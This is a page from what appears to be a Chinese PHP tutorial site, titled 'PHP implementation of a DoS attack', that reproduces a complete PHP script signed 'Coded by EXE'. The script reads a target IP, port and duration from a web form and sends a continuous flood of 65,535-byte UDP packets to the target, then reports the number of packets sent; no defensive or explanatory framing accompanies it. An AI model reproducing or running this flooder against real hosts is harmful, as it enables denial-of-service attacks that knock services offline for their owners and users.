当前位置:Gxlcms > PHP教程 > php实现DOS攻击

php实现DOS攻击

时间:2021-07-01 10:21:17 帮助过:3人阅读

小段php代码实现DOS攻击
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. PHP DoS, Coded by EXE



  4. Your IP: (Don't DoS yourself nub)

  1. //=================================================
  2. //PHP DOS v1.8 (Possibly Stronger Flood Strength)
  3. //Coded by EXE
  4. //=================================================
  5. $packets = 0;
  6. $ip = $_POST['ip'];
  7. $rand = $_POST['port'];
  8. set_time_limit(0);
  9. ignore_user_abort(FALSE);
  10. $exec_time = $_POST['time'];
  11. $time = time();
  12. print "Flooded: $ip on port $rand

    ";
  13. $max_time = $time+$exec_time;
  14. for($i=0;$i<65535;$i++){
  15. $out .= "X";
  16. }
  17. while(1){
  18. $packets++;
  19. if(time() > $max_time){
  20. break;
  21. }
  22. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  23. if($fp){
  24. fwrite($fp, $out);
  25. fclose($fp);
  26. }
  27. }
  28. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
  29. ?>

人气教程排行